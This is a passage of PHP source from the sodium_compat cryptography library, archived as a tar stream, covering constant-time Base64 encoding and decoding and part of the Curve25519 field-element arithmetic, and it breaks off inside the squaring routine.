sodium_compat/src/Core/Base64/Original.php000064400000017055147177035010014404 0ustar00 $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2b) $ret += 62 + 1; $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63; // if ($src == 0x2f) ret += 63 + 1; $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15 $diff -= ((61 - $src) >> 8) & 15; // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 3; return pack('C', $src + $diff); } } sodium_compat/src/Core/Base64/UrlSafe.php000064400000017063147177035010014200 0ustar00 $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3)); $b0 = $chunk[1]; $b1 = $chunk[2]; $b2 = $chunk[3]; $dest .= self::encode6Bits( $b0 >> 2 ) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) . self::encode6Bits( $b2 & 63); } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $b0 = $chunk[1]; if ($i + 1 < $srcLen) { $b1 = $chunk[2]; $dest .= self::encode6Bits($b0 >> 2) . self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) . self::encode6Bits(($b1 << 2) & 63); if ($pad) { $dest .= '='; } } else { $dest .= self::encode6Bits( $b0 >> 2) . self::encode6Bits(($b0 << 4) & 63); if ($pad) { $dest .= '=='; } } } return $dest; } /** * decode from base64 into binary * * Base64 character set "./[A-Z][a-z][0-9]" * * @param string $src * @param bool $strictPadding * @return string * @throws RangeException * @throws TypeError * @psalm-suppress RedundantCondition */ public static function decode($src, $strictPadding = false) { // Remove padding $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); if ($srcLen === 0) { return ''; } if ($strictPadding) { if (($srcLen & 3) === 0) { if ($src[$srcLen - 1] === '=') { $srcLen--; if ($src[$srcLen - 1] === '=') { $srcLen--; } } } if (($srcLen & 3) === 1) { throw new RangeException( 'Incorrect padding' ); } if ($src[$srcLen - 1] === '=') { throw new RangeException( 'Incorrect padding' ); } } else { $src = rtrim($src, '='); $srcLen = ParagonIE_Sodium_Core_Util::strlen($src); } $err = 0; $dest = ''; // Main loop (no padding): for ($i = 0; $i + 4 <= $srcLen; $i += 4) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4)); $c0 = self::decode6Bits($chunk[1]); $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $c3 = self::decode6Bits($chunk[4]); $dest .= pack( 'CCC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff), ((($c2 << 6) | $c3) & 0xff) ); $err |= ($c0 | $c1 | $c2 | $c3) >> 8; } // The last chunk, which may have padding: if ($i < $srcLen) { /** @var array $chunk */ $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i)); $c0 = self::decode6Bits($chunk[1]); if ($i + 2 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $c2 = self::decode6Bits($chunk[3]); $dest .= pack( 'CC', ((($c0 << 2) | ($c1 >> 4)) & 0xff), ((($c1 << 4) | ($c2 >> 2)) & 0xff) ); $err |= ($c0 | $c1 | $c2) >> 8; } elseif ($i + 1 < $srcLen) { $c1 = self::decode6Bits($chunk[2]); $dest .= pack( 'C', ((($c0 << 2) | ($c1 >> 4)) & 0xff) ); $err |= ($c0 | $c1) >> 8; } elseif ($i < $srcLen && $strictPadding) { $err |= 1; } } /** @var bool $check */ $check = ($err === 0); if (!$check) { throw new RangeException( 'Base64::decode() only expects characters in the correct base64 alphabet' ); } return $dest; } // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE /** * Uses bitwise operators instead of table-lookups to turn 6-bit integers * into 8-bit integers. * * Base64 character set: * [A-Z] [a-z] [0-9] + / * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f * * @param int $src * @return int */ protected static function decode6Bits($src) { $ret = -1; // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64 $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64); // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70 $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70); // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5 $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5); // if ($src == 0x2c) $ret += 62 + 1; $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63; // if ($src == 0x5f) ret += 63 + 1; $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64; return $ret; } /** * Uses bitwise operators instead of table-lookups to turn 8-bit integers * into 6-bit integers. * * @param int $src * @return string */ protected static function encode6Bits($src) { $diff = 0x41; // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6 $diff += ((25 - $src) >> 8) & 6; // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75 $diff -= ((51 - $src) >> 8) & 75; // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13 $diff -= ((61 - $src) >> 8) & 13; // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3 $diff += ((62 - $src) >> 8) & 49; return pack('C', $src + $diff); } } sodium_compat/src/Core/Curve25519.php000064400000426446147177035010013316 0ustar00 $arr */ $arr = array(); for ($i = 0; $i < 10; ++$i) { $arr[$i] = (int) ($f[$i] + $g[$i]); } return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($arr); } /** * Constant-time conditional move. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedAssignment */ public static function fe_cmov( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g, $b = 0 ) { /** @var array $h */ $h = array(); $b *= -1; for ($i = 0; $i < 10; ++$i) { $x = (($f[$i] ^ $g[$i]) & $b); $h[$i] = ($f[$i]) ^ $x; } return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h); } /** * Create a copy of a field element. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_copy(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $h = clone $f; return $h; } /** * Give: 32-byte string. * Receive: A field element object to use for internal calculations. * * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core_Curve25519_Fe * @throws RangeException * @throws TypeError */ public static function fe_frombytes($s) { if (self::strlen($s) !== 32) { throw new RangeException('Expected a 32-byte string.'); } $h0 = self::load_4($s); $h1 = self::load_3(self::substr($s, 4, 3)) << 6; $h2 = self::load_3(self::substr($s, 7, 3)) << 5; $h3 = self::load_3(self::substr($s, 10, 3)) << 3; $h4 = self::load_3(self::substr($s, 13, 3)) << 2; $h5 = self::load_4(self::substr($s, 16, 4)); $h6 = self::load_3(self::substr($s, 20, 3)) << 7; $h7 = self::load_3(self::substr($s, 23, 3)) << 5; $h8 = self::load_3(self::substr($s, 26, 3)) << 4; $h9 = (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ); } /** * Convert a field element to a byte string. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $h * @return string */ public static function fe_tobytes(ParagonIE_Sodium_Core_Curve25519_Fe $h) { $h0 = (int) $h[0]; $h1 = (int) $h[1]; $h2 = (int) $h[2]; $h3 = (int) $h[3]; $h4 = (int) $h[4]; $h5 = (int) $h[5]; $h6 = (int) $h[6]; $h7 = (int) $h[7]; $h8 = (int) $h[8]; $h9 = (int) $h[9]; $q = (self::mul($h9, 19, 5) + (1 << 24)) >> 25; $q = ($h0 + $q) >> 26; $q = ($h1 + $q) >> 25; $q = ($h2 + $q) >> 26; $q = ($h3 + $q) >> 25; $q = ($h4 + $q) >> 26; $q = ($h5 + $q) >> 25; $q = ($h6 + $q) >> 26; $q = ($h7 + $q) >> 25; $q = ($h8 + $q) >> 26; $q = ($h9 + $q) >> 25; $h0 += self::mul($q, 19, 5); $carry0 = $h0 >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry1 = $h1 >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry2 = $h2 >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry3 = $h3 >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry4 = $h4 >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry5 = $h5 >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry6 = $h6 >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry7 = $h7 >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry8 = $h8 >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = $h9 >> 25; $h9 -= $carry9 << 25; /** * @var array */ $s = array( (int) (($h0 >> 0) & 0xff), (int) (($h0 >> 8) & 0xff), (int) (($h0 >> 16) & 0xff), (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff), (int) (($h1 >> 6) & 0xff), (int) (($h1 >> 14) & 0xff), (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff), (int) (($h2 >> 5) & 0xff), (int) (($h2 >> 13) & 0xff), (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff), (int) (($h3 >> 3) & 0xff), (int) (($h3 >> 11) & 0xff), (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff), (int) (($h4 >> 2) & 0xff), (int) (($h4 >> 10) & 0xff), (int) (($h4 >> 18) & 0xff), (int) (($h5 >> 0) & 0xff), (int) (($h5 >> 8) & 0xff), (int) (($h5 >> 16) & 0xff), (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff), (int) (($h6 >> 7) & 0xff), (int) (($h6 >> 15) & 0xff), (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff), (int) (($h7 >> 5) & 0xff), (int) (($h7 >> 13) & 0xff), (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff), (int) (($h8 >> 4) & 0xff), (int) (($h8 >> 12) & 0xff), (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff), (int) (($h9 >> 2) & 0xff), (int) (($h9 >> 10) & 0xff), (int) (($h9 >> 18) & 0xff) ); return self::intArrayToString($s); } /** * Is a field element negative? (1 = yes, 0 = no. Used in calculations.) * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return int * @throws SodiumException * @throws TypeError */ public static function fe_isnegative(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $str = self::fe_tobytes($f); return (int) (self::chrToInt($str[0]) & 1); } /** * Returns 0 if this field element results in all NUL bytes. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return bool * @throws SodiumException * @throws TypeError */ public static function fe_isnonzero(ParagonIE_Sodium_Core_Curve25519_Fe $f) { static $zero; if ($zero === null) { $zero = str_repeat("\x00", 32); } /** @var string $zero */ /** @var string $str */ $str = self::fe_tobytes($f); return !self::verify_32($str, (string) $zero); } /** * Multiply two field elements * * h = f * g * * @internal You should not use this directly from another application * * @security Is multiplication a source of timing leaks? If so, can we do * anything to prevent that from happening? * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_mul( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g ) { // Ensure limbs aren't oversized. $f = self::fe_normalize($f); $g = self::fe_normalize($g); $f0 = $f[0]; $f1 = $f[1]; $f2 = $f[2]; $f3 = $f[3]; $f4 = $f[4]; $f5 = $f[5]; $f6 = $f[6]; $f7 = $f[7]; $f8 = $f[8]; $f9 = $f[9]; $g0 = $g[0]; $g1 = $g[1]; $g2 = $g[2]; $g3 = $g[3]; $g4 = $g[4]; $g5 = $g[5]; $g6 = $g[6]; $g7 = $g[7]; $g8 = $g[8]; $g9 = $g[9]; $g1_19 = self::mul($g1, 19, 5); $g2_19 = self::mul($g2, 19, 5); $g3_19 = self::mul($g3, 19, 5); $g4_19 = self::mul($g4, 19, 5); $g5_19 = self::mul($g5, 19, 5); $g6_19 = self::mul($g6, 19, 5); $g7_19 = self::mul($g7, 19, 5); $g8_19 = self::mul($g8, 19, 5); $g9_19 = self::mul($g9, 19, 5); $f1_2 = $f1 << 1; $f3_2 = $f3 << 1; $f5_2 = $f5 << 1; $f7_2 = $f7 << 1; $f9_2 = $f9 << 1; $f0g0 = self::mul($f0, $g0, 26); $f0g1 = self::mul($f0, $g1, 25); $f0g2 = self::mul($f0, $g2, 26); $f0g3 = self::mul($f0, $g3, 25); $f0g4 = self::mul($f0, $g4, 26); $f0g5 = self::mul($f0, $g5, 25); $f0g6 = self::mul($f0, $g6, 26); $f0g7 = self::mul($f0, $g7, 25); $f0g8 = self::mul($f0, $g8, 26); $f0g9 = self::mul($f0, $g9, 26); $f1g0 = self::mul($f1, $g0, 26); $f1g1_2 = self::mul($f1_2, $g1, 25); $f1g2 = self::mul($f1, $g2, 26); $f1g3_2 = self::mul($f1_2, $g3, 25); $f1g4 = self::mul($f1, $g4, 26); $f1g5_2 = self::mul($f1_2, $g5, 25); $f1g6 = self::mul($f1, $g6, 26); $f1g7_2 = self::mul($f1_2, $g7, 25); $f1g8 = self::mul($f1, $g8, 26); $f1g9_38 = self::mul($g9_19, $f1_2, 26); $f2g0 = self::mul($f2, $g0, 26); $f2g1 = self::mul($f2, $g1, 25); $f2g2 = self::mul($f2, $g2, 26); $f2g3 = self::mul($f2, $g3, 25); $f2g4 = self::mul($f2, $g4, 26); $f2g5 = self::mul($f2, $g5, 25); $f2g6 = self::mul($f2, $g6, 26); $f2g7 = self::mul($f2, $g7, 25); $f2g8_19 = self::mul($g8_19, $f2, 26); $f2g9_19 = self::mul($g9_19, $f2, 26); $f3g0 = self::mul($f3, $g0, 26); $f3g1_2 = self::mul($f3_2, $g1, 25); $f3g2 = self::mul($f3, $g2, 26); $f3g3_2 = self::mul($f3_2, $g3, 25); $f3g4 = self::mul($f3, $g4, 26); $f3g5_2 = self::mul($f3_2, $g5, 25); $f3g6 = self::mul($f3, $g6, 26); $f3g7_38 = self::mul($g7_19, $f3_2, 26); $f3g8_19 = self::mul($g8_19, $f3, 25); $f3g9_38 = self::mul($g9_19, $f3_2, 26); $f4g0 = self::mul($f4, $g0, 26); $f4g1 = self::mul($f4, $g1, 25); $f4g2 = self::mul($f4, $g2, 26); $f4g3 = self::mul($f4, $g3, 25); $f4g4 = self::mul($f4, $g4, 26); $f4g5 = self::mul($f4, $g5, 25); $f4g6_19 = self::mul($g6_19, $f4, 26); $f4g7_19 = self::mul($g7_19, $f4, 26); $f4g8_19 = self::mul($g8_19, $f4, 26); $f4g9_19 = self::mul($g9_19, $f4, 26); $f5g0 = self::mul($f5, $g0, 26); $f5g1_2 = self::mul($f5_2, $g1, 25); $f5g2 = self::mul($f5, $g2, 26); $f5g3_2 = self::mul($f5_2, $g3, 25); $f5g4 = self::mul($f5, $g4, 26); $f5g5_38 = self::mul($g5_19, $f5_2, 26); $f5g6_19 = self::mul($g6_19, $f5, 25); $f5g7_38 = self::mul($g7_19, $f5_2, 26); $f5g8_19 = self::mul($g8_19, $f5, 25); $f5g9_38 = self::mul($g9_19, $f5_2, 26); $f6g0 = self::mul($f6, $g0, 26); $f6g1 = self::mul($f6, $g1, 25); $f6g2 = self::mul($f6, $g2, 26); $f6g3 = self::mul($f6, $g3, 25); $f6g4_19 = self::mul($g4_19, $f6, 26); $f6g5_19 = self::mul($g5_19, $f6, 26); $f6g6_19 = self::mul($g6_19, $f6, 26); $f6g7_19 = self::mul($g7_19, $f6, 26); $f6g8_19 = self::mul($g8_19, $f6, 26); $f6g9_19 = self::mul($g9_19, $f6, 26); $f7g0 = self::mul($f7, $g0, 26); $f7g1_2 = self::mul($f7_2, $g1, 25); $f7g2 = self::mul($f7, $g2, 26); $f7g3_38 = self::mul($g3_19, $f7_2, 26); $f7g4_19 = self::mul($g4_19, $f7, 26); $f7g5_38 = self::mul($g5_19, $f7_2, 26); $f7g6_19 = self::mul($g6_19, $f7, 25); $f7g7_38 = self::mul($g7_19, $f7_2, 26); $f7g8_19 = self::mul($g8_19, $f7, 25); $f7g9_38 = self::mul($g9_19,$f7_2, 26); $f8g0 = self::mul($f8, $g0, 26); $f8g1 = self::mul($f8, $g1, 25); $f8g2_19 = self::mul($g2_19, $f8, 26); $f8g3_19 = self::mul($g3_19, $f8, 26); $f8g4_19 = self::mul($g4_19, $f8, 26); $f8g5_19 = self::mul($g5_19, $f8, 26); $f8g6_19 = self::mul($g6_19, $f8, 26); $f8g7_19 = self::mul($g7_19, $f8, 26); $f8g8_19 = self::mul($g8_19, $f8, 26); $f8g9_19 = self::mul($g9_19, $f8, 26); $f9g0 = self::mul($f9, $g0, 26); $f9g1_38 = self::mul($g1_19, $f9_2, 26); $f9g2_19 = self::mul($g2_19, $f9, 25); $f9g3_38 = self::mul($g3_19, $f9_2, 26); $f9g4_19 = self::mul($g4_19, $f9, 25); $f9g5_38 = self::mul($g5_19, $f9_2, 26); $f9g6_19 = self::mul($g6_19, $f9, 25); $f9g7_38 = self::mul($g7_19, $f9_2, 26); $f9g8_19 = self::mul($g8_19, $f9, 25); $f9g9_38 = self::mul($g9_19, $f9_2, 26); $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38; $h1 = $f0g1 + $f1g0 + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19; $h2 = $f0g2 + $f1g1_2 + $f2g0 + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38; $h3 = $f0g3 + $f1g2 + $f2g1 + $f3g0 + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19; $h4 = $f0g4 + $f1g3_2 + $f2g2 + $f3g1_2 + $f4g0 + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38; $h5 = $f0g5 + $f1g4 + $f2g3 + $f3g2 + $f4g1 + $f5g0 + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19; $h6 = $f0g6 + $f1g5_2 + $f2g4 + $f3g3_2 + $f4g2 + $f5g1_2 + $f6g0 + $f7g9_38 + $f8g8_19 + $f9g7_38; $h7 = $f0g7 + $f1g6 + $f2g5 + $f3g4 + $f4g3 + $f5g2 + $f6g1 + $f7g0 + $f8g9_19 + $f9g8_19; $h8 = $f0g8 + $f1g7_2 + $f2g6 + $f3g5_2 + $f4g4 + $f5g3_2 + $f6g2 + $f7g1_2 + $f8g0 + $f9g9_38; $h9 = $f0g9 + $f1g8 + $f2g7 + $f3g6 + $f4g5 + $f5g4 + $f6g3 + $f7g2 + $f8g1 + $f9g0 ; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ) ); } /** * Get the negative values for each piece of the field element. * * h = -f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedAssignment */ public static function fe_neg(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $h = new ParagonIE_Sodium_Core_Curve25519_Fe(); for ($i = 0; $i < 10; ++$i) { $h[$i] = -$f[$i]; } return self::fe_normalize($h); } /** * Square a field element * * h = f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_sq(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $f = self::fe_normalize($f); $f0 = (int) $f[0]; $f1 = (int) $f[1]; $f2 = (int) $f[2]; $f3 = (int) $f[3]; $f4 = (int) $f[4]; $f5 = (int) $f[5]; $f6 = (int) $f[6]; $f7 = (int) $f[7]; $f8 = (int) $f[8]; $f9 = (int) $f[9]; $f0_2 = $f0 << 1; $f1_2 = $f1 << 1; $f2_2 = $f2 << 1; $f3_2 = $f3 << 1; $f4_2 = $f4 << 1; $f5_2 = $f5 << 1; $f6_2 = $f6 << 1; $f7_2 = $f7 << 1; $f5_38 = self::mul($f5, 38, 6); $f6_19 = self::mul($f6, 19, 5); $f7_38 = self::mul($f7, 38, 6); $f8_19 = self::mul($f8, 19, 5); $f9_38 = self::mul($f9, 38, 6); $f0f0 = self::mul($f0, $f0, 26); $f0f1_2 = self::mul($f0_2, $f1, 26); $f0f2_2 = self::mul($f0_2, $f2, 26); $f0f3_2 = self::mul($f0_2, $f3, 26); $f0f4_2 = self::mul($f0_2, $f4, 26); $f0f5_2 = self::mul($f0_2, $f5, 26); $f0f6_2 = self::mul($f0_2, $f6, 26); $f0f7_2 = self::mul($f0_2, $f7, 26); $f0f8_2 = self::mul($f0_2, $f8, 26); $f0f9_2 = self::mul($f0_2, $f9, 26); $f1f1_2 = self::mul($f1_2, $f1, 26); $f1f2_2 = self::mul($f1_2, $f2, 26); $f1f3_4 = self::mul($f1_2, $f3_2, 26); $f1f4_2 = self::mul($f1_2, $f4, 26); $f1f5_4 = self::mul($f1_2, $f5_2, 26); $f1f6_2 = self::mul($f1_2, $f6, 26); $f1f7_4 = self::mul($f1_2, $f7_2, 26); $f1f8_2 = self::mul($f1_2, $f8, 26); $f1f9_76 = self::mul($f9_38, $f1_2, 27); $f2f2 = self::mul($f2, $f2, 27); $f2f3_2 = self::mul($f2_2, $f3, 27); $f2f4_2 = self::mul($f2_2, $f4, 27); $f2f5_2 = self::mul($f2_2, $f5, 27); $f2f6_2 = self::mul($f2_2, $f6, 27); $f2f7_2 = self::mul($f2_2, $f7, 27); $f2f8_38 = self::mul($f8_19, $f2_2, 27); $f2f9_38 = self::mul($f9_38, $f2, 26); $f3f3_2 = self::mul($f3_2, $f3, 26); $f3f4_2 = self::mul($f3_2, $f4, 26); $f3f5_4 = self::mul($f3_2, $f5_2, 26); $f3f6_2 = self::mul($f3_2, $f6, 26); 